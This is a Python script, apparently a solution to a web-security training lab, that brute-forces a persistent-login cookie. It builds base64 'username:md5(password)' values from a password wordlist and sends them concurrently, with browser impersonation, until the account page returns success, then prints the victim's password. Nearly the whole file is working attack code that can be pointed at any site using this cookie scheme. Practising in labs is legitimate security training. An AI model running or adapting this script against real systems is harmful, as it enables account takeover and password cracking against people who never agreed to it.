1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
| from concurrent.futures import ProcessPoolExecutor
import os
import asyncio
import multiprocessing
import hashlib
import base64
from urllib.parse import urljoin, urlparse
from curl_cffi.requests import AsyncSession, Session
class BruteForceCookie:
def __init__(self, username: str, base_url: str, path: str):
self.valid_user = 'wiener'
self.valid_pass = 'peter'
self.username = username
self.base_url = base_url
self.cookies = None
self.queue = asyncio.Queue(maxsize=1000)
self.target_url = urljoin(base_url, path)
self.lock = asyncio.Lock()
self.stop_event = asyncio.Event()
self.CONCURRENCY = 50
self.BATCH_SIZE = 1000
self.CPU_COUNT = max(1, multiprocessing.cpu_count()*3//4)
@staticmethod
def create_cookies(username:str, password: str):
try:
md5_hash = hashlib.md5(password.encode('latin-1')).hexdigest()
cookie = f"{username}:{md5_hash}"
b64_str = base64.b64encode(cookie.encode('latin-1')).decode()
return password, b64_str
except Exception:
return None
async def __check_cookies(self, session: AsyncSession):
while True:
try:
password = await asyncio.wait_for(self.queue.get(), timeout=0.2)
except asyncio.TimeoutError:
if self.stop_event.is_set():
return
continue
try:
password, b64_cookie = self.create_cookies(self.username, password)
if self.stop_event.is_set():
return
cookie = {"stay-logged-in": b64_cookie}
resp = await session.get(self.target_url, cookies=cookie, allow_redirects=False)
if resp.status_code == 200:
async with self.lock:
if not self.stop_event.is_set():
self.stop_event.set()
print("\n=== Brute Force Successfully ===")
print(f"- Username: {self.username}")
print(f"- Password: {password}")
return
except Exception:
pass
finally:
self.queue.task_done()
if not self.stop_event.is_set():
print(f"\rChecking... {password[:10]}", end="", flush=True)
async def main(self, file_path: str):
async with AsyncSession(impersonate="chrome142") as session:
tasks = [
asyncio.create_task(self.__check_cookies(session))
for _ in range(self.CONCURRENCY)
]
try:
with open(file_path, "r", encoding="latin-1", errors="ignore") as f:
for line in f:
if self.stop_event.is_set():
break
password = line.strip()
if not password:
continue
while not self.stop_event.is_set():
try:
await asyncio.wait_for(self.queue.put(password), timeout=0.2)
break
except asyncio.TimeoutError:
continue
await self.queue.join()
finally:
self.stop_event.set()
for t in tasks:
t.cancel()
await asyncio.gather(*tasks, return_exceptions=True)
if __name__ == "__main__":
base_url = input("Enter your lab's base url: ")
username = input("Enter the victim's username: ")
filepass = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'password_candidate.txt')
bot = BruteForceCookie(username, base_url, "/my-account")
try:
asyncio.run(bot.main(filepass))
except Exception as e:
print(f"[ERROR] {e}")
print("=== END ===")
|
